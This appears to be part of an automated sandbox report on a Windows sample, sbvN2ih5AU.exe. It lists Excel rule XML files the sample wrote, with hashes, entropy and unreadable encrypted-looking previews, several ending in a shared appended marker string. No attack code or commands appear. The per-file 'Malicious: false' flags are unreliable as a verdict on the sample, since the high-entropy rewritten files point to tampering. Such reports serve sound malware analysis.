SHA1:	00491235F5D7CC79847DECBEA02BAB77603A004B
SHA-256:	5966DAB0B465DF7A79285BDF9866F87B5014928759ECB7032214969696C2116D
SHA-512:	9D0F2BBC70E6A20F55EF436445A33477484665659628729B5C6B01619B90104062D754CE5CAF7E5E1F24EA091588903605C4E09EC85AA2ACCC3CB441848EA316
Malicious:	false
Preview:	<?xmlQ... ....u..{-.. 9../.;.#.{`..=...7.^......@.H.{W....x..j.7....t...^........[......r.+G...V...i"...s..X.....M.P73..X..O..8...nb....P..4..%.....Em.r..u....t.iT..R.:HX..E..$...@.\|n..........%.n`....q..t..S..W......d.....9.k..x.B.fwB.).....o[LI...TUG..WP..MP?h...F.....L....&k0........o.$.,..V....C..`.f..1Y%M.>.&...\|.x.HSq."....d4j..$E.)..C.......7......v..$......../.V...o....K.$x...,.......+...87W.v..z.uR..\....@... ..gB.....=......3"r.N......ln.<C"...:.IX.2.GKz-..K...t.4.9D'.....z..xC.W.z....%?N..#.^t.]8!............'.6...$k.gU....\.....x.S.v.......C........C:......i!.c.e..x.)..$.E{E....2..J.p...TI.Pc=..}@K.$..}.R.s..M...L...K.+...\|.....r.eQ.....JP..U.Y1..Q..zy.,.Sf.N.z:.NG...k....K.K.m.....\|.?.V#l..y..bodc.,"..\|....X..a.]...A....`. ....=....D.....p..J....6.^...V.d.sc..Q..T..A...3.o1.{......-.V*p....L.`+.noG..lK....C\OD+.:....e^..w>z^q....$..R.........9W...M.5.V>..f}v6#&.dy....'.C..y....ck....O...o.....H..M.E.C...<1<"+..O~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.853080698018451
Encrypted:	false
SSDEEP:	24:V012C5EoxWnV4Tgl3D/UpN3HUkbRt8jdxemKfb0YBOxmkNToaaLC/cTl2D2bD:VY2CpgnV4ToQpRHUMRt8jd6T0YBOxRVU
MD5:	C679FB45BDA5154F0BBD76B77A8F88D8
SHA1:	5E5C6AFA3CDC3C39609C4B5B2480AAAD91AA4287
SHA-256:	C0B3DA14933A1DC4A0263FAAB9D9A04E516EFF41F6F848636E4163AE0DD6B60A
SHA-512:	AB582DF83345C37A433A742CF2334D7069416F33EEEBB19A442B56762D03205EA2C402B4E27F80673708EB0B2809F4BAAFAAB9D3771F1C64F67AE9380904110C
Malicious:	false
Preview:	<?xml+.K...o?)!+..:.S....m...J....E..z..-.....9..5...#.......ct.a[{....m...f..R....xe.U.X..5Ug.........n.........H....\|.2.-...M.(_....P.....O....J.:..Q.'.......wI....R ...8f.7.a.a.....:.......d.....Q.q.r.&3F~NQ........jy.e^V..).].-q9.~Z..A.J4.<..#.=..a.f....<Jc!.1'..B.+.....^]....qY.c...bw.]N.J.....U..i8...&....b3../../.....@hu....;.#..........>&/......Lc. f.>?.M..&....-..1H.DO.E..0...n.y..U....M..8.4...\p...QU...0....MP..e.[9.Z!..f.w.BX....v...$...............En.\|.j.. .}..M....H....._.2.K3......>.{...mo.08.h...z.....?."[.s:.$d.@..K.&..).R...........z...#S....\|3.....R..X...t.m/g.T.....C.o.......1.h.T.H.Y...>..,h.g....y6.W.)...a...Z.c.... ....V.%.t\..ks%..f%..+...G.V.r...<.z.kT@/v....}...>}.R,.c....(.T.H.,.........T8.B..:...}.q....N.+....Lo5T.L.M3Ow..0D.....c#y.YF.KO..$?...r.....6vN....a4..@X}.\|@.;.....mk4.bG.g.Z..g_....n{..~.v......_G>.K..ri..FL......7.W.{.h4.pK......-...<:y..7K.."5MC.d.vYlU..Z..Q.+......%-.....s..C.1....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.794375601729362
Encrypted:	false
SSDEEP:	24:9Rbw+1nc5WDajVot5o/JAlPnvI8YeJWRjxbUbqqNGyH2bD:9Fw+1cWDajWfQaJnwfeoFIbqqNCD
MD5:	DE1EB8160CA3BF75510D44E62984A854
SHA1:	1E6FB7AE51CB9E44A857592614DB7083DDA68A52
SHA-256:	45F9344F5A410EB72CB6F062CC322DB35326B52687AB421C842D12B933AFCE6C
SHA-512:	D3F45D4114E45D53F360401168CCCE66A855FADE9D1A9A0CE45ECECC44EA1C03FC17A8552AA2A5D773F03E7844CE5B1E7A92EAFC57007638849B9FEBE9A279D5
Malicious:	false
Preview:	<?xml.X..wi...9.x>U.t<...&A"V......=..m..h&..Q).. ..d.k....=x,.L..pS.... Q.m..."_...b.q6......U.l..e.M..o.q....n.RV..(..{b....k@M..A.C...0..c8..O)..J?!)W.....-.....z..e....EW.........9VC.!.C[(.z,..ce..72..}-.y(..K...~o..V.h.\|.....K...2f..P.6..B.....g[.y..K9Y.......\|'ji...R...,G....$ri.7$q...W..a..@.x.m.^e..z..H.C6.a.&v...S...Z......BS..<:h...h....:...Q.?.q).~.0e.<@s.t......~....:.n.\.B&.D2.E......D........m..v.n\.;..,.v.Ocz.ugC........0....N.1.o,\fV%.0+....q.oS5Q....fWz=..AL.v..J4../..X..C..#R...5.r6..........;..~.G..wF....%^U.Qd..<za.Y.:.<].TW........A.:.@K.....x..3!..............G...o1...F......../.....N......0:E...m.#...(k..a...@..1.o..[.b.A.w;Q..Y...G90...^B."L.I..pFV..<u#x....h<v.N.......V...v.F..NB6..e.L.+.......... tv}F1FCI.%$U.7.k.6E8.b.[..R>..DQ...]83.ci#...D....+..q/o.b]0..e.x.. ^:.z..m.......).\|0..."...m..@.,*..Z.....R.{N..`BQ......Q!....>@...Sk55r.>C.O........iD..0....hj.9.L.....;!.ep;.i..amMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.9520251078302095
Encrypted:	false
SSDEEP:	96:mcldryOZx+2PiDShjM2Q+FrWbRlt/sM5+0pI:m8XW2aDSB1IbRltEM5+0pI
MD5:	D2FBFF2AABF72B48FB090294901DAF17
SHA1:	2C6401D4F7AAB5A69F2C8F8BCF9154F2D8DCDCB7
SHA-256:	0F282C1B2581EF7F8A401D257858150554637011602E4D7BB160D43DF43A1322
SHA-512:	489A43758BFF67E6D2B1FC69E450D633933352B69CABA1222FBD6EFD7E4AEF65890827F7BD2271F4D6451AC191B440F36292504433429A811E54D5A50CE1A641
Malicious:	false
Preview:	<?xml.;..H....s:.K..........a<tpD.'.m..V.f.i.jiK..a....n.......&V=..Z....A(...v....h.....Vn1x!...AT${..uUg ....-.n+..dk.h...R?%........h............p.I.+w.G...........^...).....z...S......:%.....O..3.....Px........M.__......6.V..~..F.G....IY......(.j.B..r...C.Pa..M9..x._..^.....6...UK`.n....j...m.....t).!...N......_..p>a$&y\|......._.n.5.)....E.S...1...VF.....L.x.cH.HG.<....\|9.._.......W..O.Q.....{..6mb]....g8[.u>...i.n....P6:q.%....D..........(..P.$...^o.).Oa..'^sI..<......i@?..z..3..DA...ed..}]..v.?..".j../".<.l..4.f ...WJ....J..=`.\|IY.2.-...B...'...M"```+..Rx.t.........%._..0.)7....)E..:..I...Y.e&.4..@..ZnS`pJS.O.1G h,....$M.)..ql.rH..j.U?/ ...i....X..>[..E....A].G.!....[.G....0G....Y..H....8j....r.......i.A...}...M.)y..9.UO.I..v...oR..TS`B.(...R:P..#'...w`.r....!....W&j.._..T..#...~.N.u.zP..{..B.A/(+.2U.........+.....Ih\.(.'i.'..5.mg....4G...G......[..g..P.3.W.pB.".,.~....9...@6..va%..a.._bm{.......^.\1A...w...b......G..j.L....".q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.7461302960930425
Encrypted:	false
SSDEEP:	24:NKqIVT5PU2M7RNbuquEU1KeUEgeMO8bh2bD:NKhT58tRNbuqXU1GbGD
MD5:	780B3653780F16F6DF775AD5F44B4B65
SHA1:	0920C628E6D239DC18FA3A49D5C8AF4308A69EEF
SHA-256:	EF9A91EDBA70EC98E599DFB849B3A661631C262304833781FE5E18416395FCF2
SHA-512:	77643E5520C3FB89F484B0CA9146AF943637E6707C4C286E4393D77D8680077A7F6BCB1C9768C3E9885B91CCF4C57F374F1DE0F814A2721AFAB1E7A651783FC0
Malicious:	false
Preview:	<?xmlJ.1.O'.Q.-9&v....b..........~(V$,........h.\|.i.~vrn8ibu..w.}"xg.o.iQ..c&k.g.NK.:..+.w...u..<........fk..v/vd.....}.d.C...#.k~......q....O2.o...?i.".nV<...jp"./....d......{...I`u...c..G.Ko^.Z?LV3..0....HI2Ey....+{.ou.....F.7-.P.\$....b.C.J....R...WI.7.dZ....,..$.....A.G.[o'..k.ccA.k.....3....o..{n.G......~...^9.".C.2.Fn~."v4E.... .=A.m=X.N(l....V4...U...+.....<{..7...1..A...7..'..H(Rs.Y.... ......D.@p....v.a..9...@.y.....:.."m...........F_.&.N.)g.......W.N8.>....(Qj.../....j.\..w..7n....$.0o..3;..........=e.Kz...6.%m_W2.0E.......q......)...@.\|..X.....~sXO~MIhvi./.J..............\.MnD..>.7..6......K.;..g>%....i!...`R...).ED...mew...G+.......@.$.....L...~...S.Z.K.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.94786552895332
Encrypted:	false
SSDEEP:	96:1FUet8KMxgURlkpJo0vEgtISp+YLaduZUSPNNEMF:dt8DgMlkfaSp4S1NrF
MD5:	F987D61D02745276D9482293849878FA
SHA1:	10282BB39C844F68B317E910AA1E1B3C2276BA50
SHA-256:	C2E84A66E35D8D8D9818ED4C57B2B5FFD78332983F48E92C28126FA22B41638C
SHA-512:	E0750DE4CB0C3D5A9B125E684E7794FAFAB2DEBF37D4601EB3671126DBDAA5825ACFF1ED6A2D872D84D38CF17B1EE876DF5AF74B1314BF8060764A67493671C8
Malicious:	false
Preview:	<?xml2...U-....9;..;~O9$..F...g.GU+XJB..9..f..U{......W.......Z...pnf.._g...a.b...`.E..".........Ms..x...>[..I....(.].(.-........X.....(.6.K::~.......@..p...7....y$.8..@pn..E.A?.= .U.....gVn.6S..)+.0...R.0...7..O...5..p'{.!..j....z{]6..[..z.N....r.MT./C.E.zw.b.\|..w>.Oi.g.zB.A."...:.\.t..r..f.V...W.(."....&...8f...%.W.....N...&..f...i\O9......D.i.]..Z..{...d.2.%........9..5..xze.C.G..B.f....[~....q>...2 ..r~.8.y..O~.../mE.m}M.L.q.@......Iy}....<!..."..B..;..KpP/d...P1......e9..a... "t(...B..d.%m,U_..>GQ...Tf....xc(!.....^\|.D....`.ps..Zqm.b+.N.....M2.n@.5..H...[.6."X...GJ!......z..8.'!y.9.......\|z.$...)....^.B..(.H\.........2....,....ZQ.m..5..).9b7....n...\|..h(..c8c.S<.I.$..Xf1;...IM:.W^..l..O.Q..e.....uU...HB.m?..5^&R..J....F!_%~..2(..J\..k...:RL...J/.k./k..../.C.^.hj.9N..b./d.Ho%...{..D.I+O..L.....{....@w'....t....[U..0h.......'w...O)..Vr.....@..e..Z.......j..o../b,...!.L.%..I.V6..=+...7...F.,npa.....k......../Eq....7.fW..a.MZ..h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.813695084122313
Encrypted:	false
SSDEEP:	24:GTIPKlc1OhymK4PTM1J+SeHsa41FeweLd3eb06n3tBN/fR3STcN6I2bD:GTRlBBfPTM1/TRS406nRfpSTd7D
MD5:	6B08A7770AAEC7A685DFB1DE7B9121FC
SHA1:	047CFA7EBAFCE43FBD7DD60B86CB72170A9A1B49
SHA-256:	262C67F41594FA25036DFEDE46BDB3C89B065F8C91A9D5A90C5F7076FEA23EA9
SHA-512:	0191FB0BD289DB81904C8F60216A309076890BF5E11FB4F37D376291D6CE1168563B8C27051C87F33FD1F6F9796E6259B0AAD96C2C0E3A043E652770878885D6
Malicious:	false
Preview:	<?xmlA....=J.O....C..^=..\S.Rw.b..]..`...$..........H.<.K.....qo+.#&..NFCM$.@.B.IT/E.Cd...."wS....8..vapk.b:.......A.....+Jy...G.h.}f..".......V`....O...H+.......h,.z.kL..98.k^.<6.f<?g.@..~.9.h...x...#Az...u_...5.....q....g........o.......3.q...df...h....".g.....3.=,{\.j...\|j.=.l[.../.....VU.....GDrc.T......jN.Jw..2.O...w.\|.V......`.=8.o..l..._...._T}.`...c.......F4y....wW.z/\..28..(..<k.}..S.i.{....z.:...t..Y.5.:.....g..4...Iv[.(...i..D>.D'...cB.3m.j.m.e.i...U~N..2...../....?.........\.....Zwdr.<..H...[1`.#...\m.}.@\|.!uV.W.m.L">p../..0.`..<r..?V.\99#....f.)C%7.%..#>..z.Dd...`q.b\|.y.?.}6..a\.vu%.{.Q....o...W.........VS9.1....PX..0]......{........_.?......f..{OP>.f..R...=...........P-.BoI.c.k.\.S.`..!.1=.~...[.Z.F..Y.....0Qz.p....W...H.D.'q.`..oW&.N.)....i&_..5.%,..QG.Ft.c.,..........H-h.....D..=.Q.I.R........X..Se....N.i.u...K.w?7.2.^.q~..`.~.Hd[....V.&.my..q..w.5...`).w.?.j.%J="..i......^3?fW.({...S.V..;3zcS.R...]H....-.^.e.}f>....5..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.878133814981955
Encrypted:	false
SSDEEP:	48:8B1LiCMtx+ZkJs9fpE3c9Arvs+Dnx0EeGSp8wwweED:8PiCjZkIMsqXx01pzT
MD5:	0A86E950A002076A19C6DD347850B004
SHA1:	6FE0E87C1C92FFDDB5410806D5D5EFB5B4F943B4
SHA-256:	243D3D06568BEAA1869A65C0FC96BC325D6F9F428FA5E5BC9AD296E5670BB1AB
SHA-512:	5CE35DBFF9DFBCB54EE20060BF28B485CE94AAD9C4EC885F2659CA2275B6A2659386A6C72926935465D72A84CDAA858472C02B753F391D5AB6CD162134ED2F68
Malicious:	false
Preview:	<?xml......_......1..+.#6.a....\|...\..D...0.m.h...p...g#.w..4r.9Z..........i9...}.qy3..qqD.....E.%V9..c..j$.......j.R.(,N...u.%.....X....oy.b....U..1..`.nK.x......X...l..-......C...5k...HK.l..B_BA.....S.TL...B.../...0...>i...#../..+7..m8.A.....dUN.N.^.........C7...Z4.qn..a}.....3..Y..N.3.x..!..e......m.<..+...W..Jo.)C.TS........?. .m..H.k.).'..c.b.V..+R...c..L.8_....,.x.=......1.B!..\|k.x.>&...F..x..X.....x..H.-E.X..L.<..>...6....v.d.....K..(t..1f...(0...9^..........._.S..P.Z...8...h$....9.3...>..kz....S.Z...e..'.?..D.b......?....e.=.....-nO.6..8P%U.LP5,..<.}Xe.6n.3..J....K...M.e.$Fl....x..BkR.:`3...h.y]...!a......Ih2p$Y...-.Iv..(....!.rU..l...tPZfc....4.j.a........Y..,..eP....<.J...~..........HA.B2f......$,SL.8)!...r.H.....}.....1X..Ef...%...N.....g...1.@..n<.S..,E.....73"..Y.yX..M..n.....S......!.&..N...3.b....._......+..tD....l^<..6..],..!H........;1.]}.....]..PR.F.p.$.{...2"..4=,..a4...A"2...'C..>,<.^i....0.U?.....&l#.*.}.Uf.. ..H....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.753144940481106
Encrypted:	false
SSDEEP:	12:568pBvt0ZuR3HWvt3/T6bV9pTxW32vSV9BBF4mQcnQcJHbHf4QS7JyPegPxIQkKr:Y8Ltj1W1PTc9xFiGQBeYIzT2bD
MD5:	F425DE7455CF3A3E937A1AAC20746A73
SHA1:	3022730745804F1531F933BD51B67963145C6DA6
SHA-256:	CCD7ED6A8CFEC695FAB1A214FDCA4204E848A8229BADBB2CE3AF95345007B5E0
SHA-512:	2F8FAD3EDB11A0D5449F348BC8BF8F00B67A1A9F9EC18425D8365D6367D704973D95A00B36B1276B40BD71AAD28F95D0B86593DAEEC6AFCD835F020DDB0611DA
Malicious:	false
Preview:	<?xmlD.W5#...r.).".x..8.^3.Y..$i......f@"...............]^."ms.&.....$.]q.\|!...N]iS.M..B..u3.i%q.^;.a..R.....uw..Lf.&ou.p..9..G..L.w.f&.'./...C....y...q.]..a..B...1..E......G..X.6..Wr....}.._..?u..:..`W.....0...... ....M........~'.I[il.....F{X."....AY...j.`{....C.9.....!f.........m....X.. .v..o.T..ttd.../I\|q...F..O....1.F..d..zI.*`b-.h.BO.].Z..,...;...0b.q..i.n.5\|...m..4p..\w].......{.V.1.....X.H.]..}].<R..$.N..7@..-.....U.I..^l.g^b".7.VIa-.....et./..R.^...h.6{....{..)&.C....j.....X..Ck@.w.....[...[..3.......h{...U...`e4.(V..N....W>Zj.+.Fh6..D......8.X.h..Sw.H..@M..]T......_......F....x..L...Yo...U.yl.].RE.X..4.0Q..............A%K..#1........+..T.\..}........<.....3DmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.804744218534579
Encrypted:	false
SSDEEP:	24:unLs+kkSRwQ8AEewTzet5BqCE/jsg/vSmOYjIUSmyhh2bD:uLMkKW1zuBtcqmOdmyh6D
MD5:	3B9CE5189AB7E7DCB288B670CBF445E4
SHA1:	798088A991812C711EB84A709FE35F9AB44B352F
SHA-256:	0BCCA6491DD4A60B899B2AF688E1068DA1BBE8BA06500717315AFE1A5B1459E6
SHA-512:	CE0BC52B3346D731795F71EB812F92DB48A589DE7E0E12B230BEAD416C75A8070DF362E9D58E4B43482E89382138E3464E0490845ED282E835684B8C31FDF0CE
Malicious:	false
Preview:	<?xml..,I']B...f.\|...c..V1L0..X=.).J.u.:;B...92O..z...L...Y$./..6]....p.U.j};...:.!.X....*.pO.M....) ....IV..1\b.U{./1;.\..T......oIs...3....q..aQC..x.D7q....7._.M.B..`.Z...e-..a....L`i..x..m..0..\...)..N.`!..}k.S..X.Z3(..ub.w..5............t.^....J.v.$L;..dd...X.......x.}W.q..1......,...G..])...$,.N...qD9.{..tb.F..e}V....D..l...........L:.N.&}..L.I.>....8a.,.[..<.,y....LFA...u.Q.L..q...............q......u.#!..=..:................zB.....G...s..<..`....}g.c......1.\0..>.]R.Q.h....!^..7...,..Sc)Cj.I..$G.D....']a..U.&.@F.7...K..& p.fI.Z......}.`.`.i....[.>...4..K.........5.VZ....vb...fv..+r.I.S..7rH.=..UY-..x.>.>.5POp.k....T..y.......".C.....s...B..+...8......q.wA%...M...m}.&..W........b...ee9.U@q.6.zK.@Eu...P>...Z6=..c.-..3x./..0.f^...?.........\|..w.'.r.6..>..A?.4.....l...:..l....EC.......Z{...U.M..c`...A.......1..`b...,.;.h,.T#..$l^..>..D...q..t..O..!)..%s4.<h..uJ#`6.Kyb....C..{.&......$.....#..8.%8!.....>.j.v.\8?./Y.W.lS.)...F}..c.l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.780323436774292
Encrypted:	false
SSDEEP:	24:nK6QyPIdTok3cKWPHmTp5RKv1ROysIik9gNj7/4KbCt2LLhTm2bD:KsPImk8uo1ROhKaj7QYBtD
MD5:	56F46D30F64ABD8CF463FAB671663CA6
SHA1:	B64828230968D604FE1F2FC516639C1D4CF9CA9B
SHA-256:	1623A647E9D61E3A34E0A887B5FDAFEA7E280712EE31AADFD5E933907723890E
SHA-512:	EAE23DB784E2D509F5BF018AB470B9BDD4D994240698B999598B03B598DE20A9AD6B6F942E7993F843D61519AC78FA8EF91128AA0B5CB0CA6AE4AC4870613A6E
Malicious:	false
Preview:	<?xml..!h..w.=W....0-a...q..U..x.V.w............ID.Ig..P:..k.......2..6^.{q\....9...R..zXJ.K...X..~..p.~4.+o......+K.RE. ...zk..1.,.-6.pr.+.q.c...6A.w..I.c...@.].K...Z...V.......r.T..Cl...p.,..\|...rrGX.=.5[.[S..CV(......k.C Zi.t?tplw.`[..x;>.z.L~a>3.\|.... ....br.W....q-.wmg.xz.\....h-.p..._vw.6...J..@h...J.?>.-.........(?..8.S...RX..6..k...g....Ar.....j!6...q5.o}...w.._.z.......L..QM.VU..p......e.w...cE..h......6.fE....#&......$......-..K<}\.\\|\|.S..k..)+..E....$....-.....^e...5..U9y..2...}V#.....H{.2.O...Q....w.6...(..1&.=..>..+?.E.?u......]Pw..u...9..4....O.v.....{...^9\..._9%..T%.'O...I,4].....3J..G#~..T2b...VJ.B..\|<[........,.R..#..2..-.........to[.,.P...:...&..P.AE$...1Hyw>q...../.y.n...Y.w o~T..O.V..j.q....9...$.......+..=.@...X7..d..o...?.X..r<.'%u.#&.q.N+..&Y..w%YZ.T.pG....'..Xl7...Q..53....09.51T.X.s....n......}..b.v.&.v...X...!.z+.........?H)..3.Es.2.!.Nw...>..q0..E....>.r...Jd]-...pMK..g.N.(.b..X..l.>n.mMsRxMUuXypapZbGO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.765983136016661
Encrypted:	false
SSDEEP:	24:DA13/ZJXuX9XXAScsXul9wvs6sYWF7ArD2jmtEl2bD:k13/vuNjc5YAF7ATD
MD5:	EDC4D6032D7AB1EA01E0D28010CD4585
SHA1:	AE41DB4EF46803D2932C4A4B2A3768DBF54AF904
SHA-256:	B2F287DFFD9D411DF60282CF7AD0FA2AD5DC61EC4576A6DFB94CD745F54EB10A
SHA-512:	40F63BB4CF5F5D94BB14DD58F26C6807FD25730105A3A00EF186ED3500F064AD0989EF312502E0F63A10ABB6803EF52590272907F469D475500308D11C5B60CE
Malicious:	false
Preview:	<?xml.8./..+....q.../.."\|........I...UN$Y.....W....".C.......5........DS~..-.g.Y_...U.[.q.87R?..p...`..8.%.G....p<.1.0=..%@._.C../...Ld.B6..\|%...5...F\|. ..,...!./. ..JgT.>.{....s...MQH.z.....+..U'.d.P.&....cF.3@....p.2..n.#..M...aN......~..-y)..i.'..3).>......r}eHM.%..5w.........!....-..-..j...K._..3.P..uT...1...A..p... ..s.O;?.....G..; 3.B_.....y.9..Z4R.s...6g..........X.i.#<%.+km....).....J.-........B....\|oZt..c..H.."P.......TG.5El.....K....w.j..4..<~......I.....g.W..#....d...A.9...JTi....<.......&..[...0..8.../\@v....g.!OC.......>CM...l.../.9...%B..r.....B....X..8(.V4..['..6...7.Z.......#..M...pt..Q...!bE,...(.v.P......s.v..Cl..v.FmU.....^E.o.......g.h.\......l..Qi.&..$\|.Ox.ThmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.845533048903362
Encrypted:	false
SSDEEP:	24:gRJ+CxsSARG39us4gvDVWNZXo5feQ52buCeBdOEiiNZMDRoRxxMzVeNJ7KvKfkoB:EPelg3WQgNZXoFlkeBdOCNZMlQKgIvKN
MD5:	2ABE25FD3A76FFE0BCCE3791DBA28527
SHA1:	50BAE58CC7152D76E8F9FFE7F4D6B5ECC0078D19
SHA-256:	99C02E2C40DDCD9FD18535FBA6D82C5A644B192AFE031700678C0DDAF7A74A09
SHA-512:	76D266FF2265EF334B47922453E651DB41901FF6DF582C0C450A3931B15F4D6096E621AE2A7315D9F62375D2B5C0CA139ECDB99EB199FC00F98E01D001591302
Malicious:	false
Preview:	<?xml.....@3 ..o.....O.=..R?}...4...0.rk...@N.s.GV...1..../.j..y..'.B...vvYq=.rNN..>Gt3WArr.e..r#.1T./..=.5..A...... ...d..F.......b.;w`PF.....Ti....%..Zm..s...DZ'...c.....N...Q......H.^X...(Hm+.."~..u..U..3@..v.x...L..&.F.v8c~.h...I.....8u.7...~...\...9.]4.....^T....... e.-..skE..M.22u..K.S-V.......qRZ......\|uO.l.-..a.,.D.Uf.8..<@5......._.4.?._3.....n..c.\x4:.~.#....19..+r.u..Z.RC..............<1K..$....;f..k(J.k..mX....G.he.."c...b..L2A.g...R....R..B.?../.....M..<+0.>[..cx..`......\|...H.j.&..g..sa....}.h.`mS..{..V.5M...IV...0. $G.....1]...c....j....;d...N~.o5...h.0..".gK]...~..Q...~.t...s._Q..4M.\&<Z..2.=.^.Q.ro. .[.:F..\...#(.1:.l..U..F.T......!......j+.0..Rl.l.....2.. o..S.......p......E'..S.B...k...../b~.V;+..;Z..\k-3..!...........L,a5....".6Vk...s..7.V..o...aQR.)a.?k....d.Y...?G.....>..... Ga.f...\...~ST.Kc.4.3K.].@.tgQe..U.uK...H].q...x....a...Nd..]0........<....H.&I.^..<:.E..B..azA]..(.a..s.T~..."zw..'a.^.......$g..g.<......;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.845854195476673
Encrypted:	false
SSDEEP:	24:FbfArQfQ9nob+Sbm0kCxqRGEFN5G5WIrYW/VPQ1DVPwBMu96tNQhQo32bD:hZfjLWCxqoseWqBKNuweQZD
MD5:	15652C3EA9AC61558C7662E73A3D1E1B
SHA1:	3A81B7C4E2EAD3911EBB84D8A3C76A598E239E1A
SHA-256:	231E420F612F0136F2E4B37341CB2E9F429465DC3EFAEF94448CC86A206141B2
SHA-512:	9C82533997A005CC37387649F752A21B316FE0336737EE7546CD67BE2F0F3EC472CB0A3D31BD2657A8615B2BFF140251A0698F265B7A6FF8B07673F9DC1B1381
Malicious:	false
Preview:	<?xml.......H..F.Q.n.C.!....W...l..8..jv.!.K...y(I....w.... ....eyp?..N..=C..#?.H.F....S.....'.....v...:.,..u..dy...T.=..9i.?L-DV.j...u..[.....7.\Zl.....L.t^..)?....p.3..NS...`.."`.p.....C....}iD..f>\|...>.."OQ8Zz,....$.62f,.+.U{...c......K...'.)..>...~........?b ~.\...Z.o...T9!...gUM..4.Z.=c._..,)....2=GO./:y..0l..... ..2.t...@.fzy:5.....o..[k...{'\|...y.3.I....-`?.=n..UcX9..L1.A..YX..(..a.E...D..v.Y.c.G.....>...[...T...G^'j%..i..........h.jHg.T..U......_......&DSU45..z..o..,..9Yt.x...........l$...xD.iQ......ZB....(..%2......W..e+..fr...6....\B5...].?f..\|fC..x.. .'c.h.....#.e6r.>d....I....c.Q...e.\|...4^.X.gbG..b.E>.r9,...M.fB$&!..dh.O]A........\|.Q!e.....h...N.......=...h1..M....S..K....G.ba..f[(..n......h..<.}a}..!.E)z............J`@....FC....Lg.k..o..Z....:...='.._[.\i.d.~..h.....Hr..N.;m..U._.....3..\.s........I..>.c.w......^..)(YE0..h.9U..-..7...jB.\|..P....w.......{.\|.......9.8...M...}.:<D.L.7!k%9.g..T93>.k.bu~...3.e...M....O.^s....<.?..../k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63038v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1261
Entropy (8bit):	7.819034297019414
Encrypted:	false
SSDEEP:	24:sPvi3jvH75EDAaU9wWP0JdlOuzAe+3KpXfpAkcvW/zDZju2bD:uizvtEDAvqWQdl7Q3MAOD
MD5:	3E0F37235ADA838FEBEE1D5C121A5FFA
SHA1:	C476D842E310B0A751A7EE5574965AB066ED355F
SHA-256:	C3999BE610BF35B3D01E58F4BF87F9DF29671C6E45D6483A12B8B78CCA6DFA11
SHA-512:	44756A56A404ABAF9833C8003B77890430BEA37B7408304B601A7701F5DBEAC5E9955B9F51B82F177C938A8BC2FB1CCCF7286C45DCC5A59B5857EEE22B1954A2
Malicious:	false
